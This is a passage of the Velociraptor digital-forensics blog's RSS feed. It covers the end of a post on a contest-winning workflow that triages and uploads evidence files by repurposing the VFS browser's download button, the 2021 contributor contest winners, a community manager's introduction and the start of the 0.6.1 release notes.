molasses.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Windows Defender will probably prevent &lt;code&gt;Capa&lt;/code&gt; from running. You may need to temporarily disable it’s realtime protection option or else add a realtime scanning exclusion for the folder your testing on.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;step-4-have-velociraptor-server-decide-what-the-client-should-do-next&#34;&gt;Step 4: Have Velociraptor server decide what the client should do next&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-customserverdispatchupload&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Server.DispatchUpload.yaml&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Custom.Server.DispatchUpload&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The triaging artifacts in the previous step have now looked at the target files in more depth and given some sort of risk-rating or assessment based on the information in (or about) each file.&lt;/p&gt;&#xA;&lt;p&gt;Similarly to Step 2, the server can now collate that information and conditionally dispatch another artifact to the client. The artifact is almost identical to the one described in Step 2 other than for the fact that it’s now using criticality_score in the decision process instead of magic_id.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0MeJqIkpWMmr0fjtY.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;739&#34; height=&#34;377&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0MeJqIkpWMmr0fjtY.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The client artifact we will dispatch here is &lt;code&gt;Custom.Server.DispatchUpload&lt;/code&gt;, which is described in the next step.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-5-send-new-orders-to-the-client&#34;&gt;Step 5: Send new orders to the client&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-customclienttriageupload&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/Custom.Client.TriageUpload.yaml&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Custom.Client.TriageUpload&lt;/code&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;This artifact is a simple one that just uploads the files identified by the previous steps as containing relevant information.&lt;/p&gt;&#xA;&lt;p&gt;In other words, what we have accomplished is the &lt;strong&gt;preservation of evidence based on the actual evidence contained within the files themselves&lt;/strong&gt;. This is a better approach than just uploading everything and &lt;em&gt;then&lt;/em&gt; checking to see what the files contain.&lt;/p&gt;&#xA;&lt;h2 id=&#34;step-x-bonus-points-hijacking-the-vfs-browser-upload-function&#34;&gt;Step X: Bonus points: Hijacking the VFS browser upload function&lt;/h2&gt;&#xA;&lt;h3 id=&#34;artifact-systemvfsdownloadfile&#34;&gt;Artifact: &lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition/blob/main/artifacts/System.VFS.DownloadFile.yaml&#34; target=&#34;_blank&#34; &gt;System.VFS.DownloadFile&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0AjvQfNC5jIycbk5N.png&#34;&#xA;     width=&#34;496&#34;&#xA;     height=&#34;178&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Under the hood Velociraptor itself uses many artifacts that contain VQL for performing various functions, including many of the functions exposed via the Velociraptor GUI. The VFS (Virtual File System) browser in the GUI has an associated artifact named System.VFS.DownloadFile (&lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/54d878fd57a9250b44965429750a4d20e7850b3e/artifacts/definitions/System/VFS/DownloadFile.yaml&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/velociraptor/blob/54d878fd57a9250b44965429750a4d20e7850b3e/artifacts/definitions/System/VFS/DownloadFile.yaml&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;This artifact provides 2 functions which are invoked by 2 buttons in the VFS GUI:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;“download_one_file”&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;“download_recursive”&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We would like to be able to browse around on the client machine and when we find an interesting folder we want to be able to click a button and let Velociraptor do the rest! To do that we are going to have to hijack one of those buttons. The “Download Recursive” button and corresponding VQL artifact’s function seems to be the best match for our purposes since we want to target a folder and do stuff recursively with the files in that folder.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;It sucks that we need to hijack a built-in “system” artifact to do this, and we feel really bad about doing it (well not really), but at present there are no “custom function” buttons available in the VFS browser GUI. So for now we do this with full knowledge that it is frowned upon and that we are subverting functionality which may be needed for other purposes.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0EkAQm0IkMK23HT1I.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;581&#34; height=&#34;304&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0EkAQm0IkMK23HT1I.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the System.VFS.DownloadFile artifact we&amp;rsquo;ve replaced the download_recursive function with our own one that runs our Custom.Client.FindByMagics artifact and pass the parameters Path and Accessor to it. With that minimal information the FindByMagics artifact can begin it&amp;rsquo;s work. Thus we have replaced the native function and by extension we have hijacked the &amp;ldquo;Download Recursive&amp;rdquo; button in the VFS browser. Neat!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0umZkoPpBx_LFI-9W.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;768&#34; height=&#34;465&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0umZkoPpBx_LFI-9W.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We also added the 1-hour timeout into the artifact so that it’s behaviour is consistent with the timeout of the Custom.Client.FindByMagics artifact. Finding files can take a long time, so this is just to avoid frustrating timeouts - however it should rarely take anything as long as an hour.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0_Sg3JaXOEeWZJCE2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;896&#34; height=&#34;481&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0_Sg3JaXOEeWZJCE2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0xXQllV14weMpItFW.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1016&#34; height=&#34;429&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0xXQllV14weMpItFW.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;lets-see-it-all-in-action&#34;&gt;Let’s see it all in action!&lt;/h2&gt;&#xA;&lt;p&gt;Starting from the Custom.Client.FindByMagics artifact:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0P7T09VWmEbhqsG60.gif&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;745&#34; height=&#34;331&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0P7T09VWmEbhqsG60.gif&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Starting from the VFS browser:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af//blog/2021/2021-10-22-a-closer-look-at-the-winning-entry-in-the-2021-velociraptor-contributor-competition-575c387610af/0jRHjFoyYXAAtoPRy.gif&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;745&#34; height=&#34;331&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;0jRHjFoyYXAAtoPRy.gif&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;(p.s. sorry my gif recording software caught some jitter)&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;So what we have here is a set of artifacts that work together to implement a simple workflow. We run a single artifact and all we give it is a filesystem path where it should start looking for stuff. With the VFS browser hack we can even simplify that a bit more and reduce it to just browsing around and clicking a button. We can even browse around the Volume Shadow Copies and target these and other sneaky hidden files. Velociraptor then finds relevant stuff and decides what to do with that stuff.&lt;/p&gt;&#xA;&lt;p&gt;Although this is a simplified example the concepts can be applied to much more creative artifacts in order to produce quite complex workflows. We hope you’ll find this useful and apply your own creativity in creating cleverer workflows that do super-awesome things!&lt;/p&gt;&#xA;&lt;p&gt;Have fun guys!!!&lt;/p&gt;&#xA;&lt;p&gt;What do you think of Justin’s submission? Drop your comments, thoughts and questions into the Discord server or by tweeting @velocidex and keep the conversation going!&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The 2021 Contributor Contest</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-10-08-contributor-contest/</link>
      <pubDate>Tue, 12 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-10-08-contributor-contest/</guid>
      <description>&lt;p&gt;The 2021 Velociraptor Contributor Competition has drawn to a close and&#xA;this year we have received 6 excellent submissions. Each submission&#xA;pushes the state of the art in DFIR and enhances Velociraptor&amp;rsquo;s&#xA;capabilities. Without our wonderful Community an open source project&#xA;such as Velociraptor would not be nearly as capable.&lt;/p&gt;&#xA;&lt;h1 id=&#34;and-the-winners-are&#34;&gt;And the winners are&amp;hellip;&lt;/h1&gt;&#xA;&lt;p&gt;We are thrilled to announce the winners of the Competition!  Each of these&#xA;submissions separated itself from the pack by earning the top combined&#xA;ratings in five key selection criteria:&lt;br&gt;&lt;br&gt; Usefulness, Creativity,&#xA;Effort/Difficulty, Completeness of Solution and Clarity of Documentation&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;Without further ado, the winners are&amp;hellip;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Grand Prize ($5,000 USD) - &lt;strong&gt;Justin Welgemoed&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Second Place ($3,000 USD) - &lt;strong&gt;Eduardo Cunha Mattos&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Third Place ($2,000 USD) - &lt;strong&gt;Josh Brower&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Congratulations to all three winners!  We&amp;rsquo;ll be reaching out soon with details&#xA;on how to claim your prizes.  The Velociraptor team would also like to&#xA;sincerely thank all the judges for their valuable time and effort in evaluating&#xA;the submissions.  A great big shoutout and thanks to all our Community members&#xA;who submitted entries as well.&lt;/p&gt;&#xA;&lt;p&gt;You can still view our award presentation at the SANS Threat Hunting Summit by&#xA;registering to view a replay of the summit &lt;a href=&#34;https://www.sans.org/cyber-security-training-events/threat-hunting-and-incident-response-summit-2021/&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;.&#xA;But until then, take a look at all the submissions below and evaluate them yourself.&lt;/p&gt;&#xA;&lt;p&gt;Be sure to follow us on Twitter &lt;strong&gt;@velocidex&lt;/strong&gt;, join our &lt;a href=&#34;https://www.velociraptor-docs.org/discord/&#34;&gt;Discord server&lt;/a&gt;,&#xA;sign up for our &lt;a href=&#34;https://groups.google.com/g/velociraptor-discuss&#34; target=&#34;_blank&#34; &gt;mailing list&lt;/a&gt;&#xA;and regularly check out this blog for details on upcoming Velociraptor events.  We have some exciting things planned for the rest of 2021, into 2022 and beyond!&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;justin-welgemoed&#34;&gt;Justin Welgemoed&lt;/h2&gt;&#xA;&lt;p&gt;This submission demonstrates how Velociraptor can be used to automate&#xA;collection, analysis and post processing using a combination of client&#xA;and server artifacts. Justin has also re-purposed the GUI to automate&#xA;further processing of files by signature identification using tools&#xA;such as &lt;code&gt;GENE&lt;/code&gt; and &lt;code&gt;CAPA&lt;/code&gt; for further triaging.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/predictiple/VelociraptorCompetition.git&#34; target=&#34;_blank&#34; &gt;https://github.com/predictiple/VelociraptorCompetition.git&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;shae-bailey&#34;&gt;Shae Bailey&lt;/h2&gt;&#xA;&lt;p&gt;Shae contributed a number of artifacts to enhance Cobalt strike&#xA;detection and utilize ETW for real time monitoring.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references-1&#34;&gt;References:&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://drive.google.com/drive/folders/1Jr4CJO6y2VZVNl7vRSiuAs8Ys7IDmVub?usp=sharing&#34; target=&#34;_blank&#34; &gt;https://drive.google.com/drive/folders/1Jr4CJO6y2VZVNl7vRSiuAs8Ys7IDmVub?usp=sharing&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;eduardo-cunha-mattos&#34;&gt;Eduardo Cunha Mattos&lt;/h2&gt;&#xA;&lt;p&gt;Eduardo contributed many useful artifacts including a number of MacOS artifacts&lt;/p&gt;&#xA;&lt;p&gt;Some highlights include&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Loki integration&lt;/li&gt;&#xA;&lt;li&gt;Enriched hollows hunter&lt;/li&gt;&#xA;&lt;li&gt;Registry UsrClass&lt;/li&gt;&#xA;&lt;li&gt;JECmd integration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;references-2&#34;&gt;References&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/eduardomcm/VelociraptorCompetition&#34; target=&#34;_blank&#34; &gt;https://github.com/eduardomcm/VelociraptorCompetition&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;jonathan-woodward&#34;&gt;Jonathan Woodward&lt;/h2&gt;&#xA;&lt;p&gt;Jonathan contributed many MacOS artifacts focusing on acquisition of critical files for DFIR triaging.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references-3&#34;&gt;References&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://drive.google.com/drive/folders/1cmmoOkP5tWD9skIAU5ClWRG_uagzUYVO?usp=sharing&#34; target=&#34;_blank&#34; &gt;https://drive.google.com/drive/folders/1cmmoOkP5tWD9skIAU5ClWRG_uagzUYVO?usp=sharing&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;josh-brower&#34;&gt;Josh Brower&lt;/h2&gt;&#xA;&lt;p&gt;Josh wrote VQL artifacts that uses a sysmon configuration as a source to filter out known-good processes when running pslist() across Windows endpoints.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references-4&#34;&gt;References&lt;/h3&gt;&#xA;&lt;p&gt;Context &amp;amp; Overview video: &lt;a href=&#34;https://www.screencast.com/t/iLw4f2jL0FPu&#34; target=&#34;_blank&#34; &gt;https://www.screencast.com/t/iLw4f2jL0FPu&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Code: &lt;a href=&#34;https://gist.github.com/defensivedepth/09a6c91a593bdc62b63f2d40b1bc2f84&#34; target=&#34;_blank&#34; &gt;https://gist.github.com/defensivedepth/09a6c91a593bdc62b63f2d40b1bc2f84&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;daniel-kelly&#34;&gt;Daniel Kelly&lt;/h2&gt;&#xA;&lt;p&gt;Daniel contributed a large number of useful artifacts providing&#xA;collection capabilities for Windows and Linux focused around initial&#xA;triage.&lt;/p&gt;&#xA;&lt;h3 id=&#34;references-5&#34;&gt;References&lt;/h3&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://drive.google.com/drive/folders/1Q3b4b1NN_xo5_2ak1-INn8l5kIBbfNZ2?usp=sharing&#34; target=&#34;_blank&#34; &gt;https://drive.google.com/drive/folders/1Q3b4b1NN_xo5_2ak1-INn8l5kIBbfNZ2?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Welcome to Velociraptor, Carlos</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-09-17-carlos-intro/</link>
      <pubDate>Fri, 17 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-09-17-carlos-intro/</guid>
      <description>&lt;p&gt;Hello Velociraptor Community!&lt;/p&gt;&#xA;&lt;p&gt;My name is Carlos Canto and I have recently joined Rapid7 as the Community Engagement Manager for Velociraptor.  You may be wondering what that means.  In a nutshell, my job will be to increase awareness of the Velociraptor project and increase engagement among its users and contributors.  Expect to hear from me a lot in the coming weeks as I begin to get my feet wet in all things DFIR.  That includes blog posts, emails, social media content and other special events.  Our very own digital paleontologist, Mike Cohen, will continue to provide his regular updates and insight as well.  In short, we want to make the Velociraptor Community an engaging and rewarding place for everyone involved, but that means we’ll need participation from &lt;strong&gt;YOU&lt;/strong&gt; as well.&lt;/p&gt;&#xA;&lt;p&gt;You may be wondering what my deal is.  So a little bit about me… I have over 10 years experience managing communities of various forms including those in several fields such as investor services, software &amp;amp; hardware testing, and crowdsourcing.  I’ve met a lot of great people and have learned a ton along the way, so I hope to bring as much of that experience as I possibly can to this role as well.&lt;/p&gt;&#xA;&lt;p&gt;But what makes Carlos tick? Well, when I&amp;rsquo;m not engaging with our amazing VR contributors, you can usually find me at home spending time with my family. I&amp;rsquo;ve had the honor of being married to my lovely wife for the last 13 years and we&amp;rsquo;ve been blessed with two amazing children. They keep me busy, that’s for sure, but I wouldn&amp;rsquo;t trade it away for anything in the world.  When I have some free time you can usually find me doing one of the following: watching football, drinking craft beer, mountain biking and playing video games with my kids, not necessarily in that order.&lt;/p&gt;&#xA;&lt;p&gt;Enough about me.  What I really want is to hear from &lt;strong&gt;YOU&lt;/strong&gt;!  Remember, this Community doesn’t thrive without active participation from all our contributors.  Make your voice heard!  Participate in the comments section of the blog.  If a particular article or post really speaks to you, let us know what you think.  If you haven’t already, follow us on Twitter (@velocidex).  Let us know what’s working, what’s not.  Share your cool, if only half-baked thoughts &amp;ndash; those sometimes end up being the best kind.  We’ll be creating official LinkedIn and Facebook pages as well (details to come).&lt;/p&gt;&#xA;&lt;p&gt;Finally, don’t ever hesitate to reach out to me and let me know what’s on your mind.  I can be reached at &lt;a href=&#34;mailto:carlos_canto@rapid7.com&#34; target=&#34;_blank&#34; &gt;carlos_canto@rapid7.com&lt;/a&gt; or by tweeting &lt;strong&gt;@velocidex&lt;/strong&gt;.  Additionally, if you have any support or technical questions, you can email &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; and we’ll aim to get back to you ASAP.&lt;/p&gt;&#xA;&lt;p&gt;I can’t wait to begin working with all of you!&lt;/p&gt;&#xA;&lt;p&gt;Keep digging!&#xA;Carlos&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.1 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1/</link>
      <pubDate>Mon, 06 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release&#xA;0.6.1. This release has been in the making for a few months now and&#xA;has a lot of new features. I wanted to take some time to tell you all&#xA;about it in our blog so I can show some of the new screenshots in more&#xA;detail.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-visible-changes&#34;&gt;GUI Visible changes&lt;/h2&gt;&#xA;&lt;h3 id=&#34;most-recently-used&#34;&gt;Most Recently Used&lt;/h3&gt;&#xA;&lt;p&gt;One of my favorite new features is the new &lt;code&gt;Most Recently Used&lt;/code&gt; (MRU)&#xA;list in the GUI. Typically, a Velociraptor deployment may contain many&#xA;thousands of clients, but an investigator typically only interacts&#xA;with a few relevant hosts. While you could always search for the hosts&#xA;you are interested in, Velociraptor now keeps a most recently used&#xA;list in each user&amp;rsquo;s profile, making it easy to go back to a host under&#xA;investigation.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-09-07-release-notes-0.6.1//blog/2021/2021-09-07-release-notes-0.6.1/mru.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Most recently used clients&#34;&#xA;         width=&#34;1147&#34; height=&#34;363&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;mru.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Most recently used clients&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You don&amp;rsquo;t have to do anything to get hosts added to the MRU list,&#xA;simply search for them normally and select the client to interact&#xA;with. The MRU list is sorted in most recent order so it should always&#xA;contain relevant hosts.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;Although it might appear by the search term, that you can view other&#xA;user&amp;rsquo;s most recently used list this is not the case - each user has&#xA;their own list of hosts. The username after the &lt;code&gt;recent:&lt;/code&gt; is currently&#xA;ignored.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;free-disk-space&#34;&gt;Free disk space&lt;/h3&gt;&#xA;&lt;p&gt;Many users asked to be able to see the free disk space available in&#xA;the dashboard. This is useful to keep an eye during investigations. If&#xA;the disk fills up during a large hunt, the client connections will&#xA;fail to upload data. Since Velociraptor does not know which specific&#xA;filesystem contains your file store, it just shows the total disk&#xA;space in all mounted filesystems.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 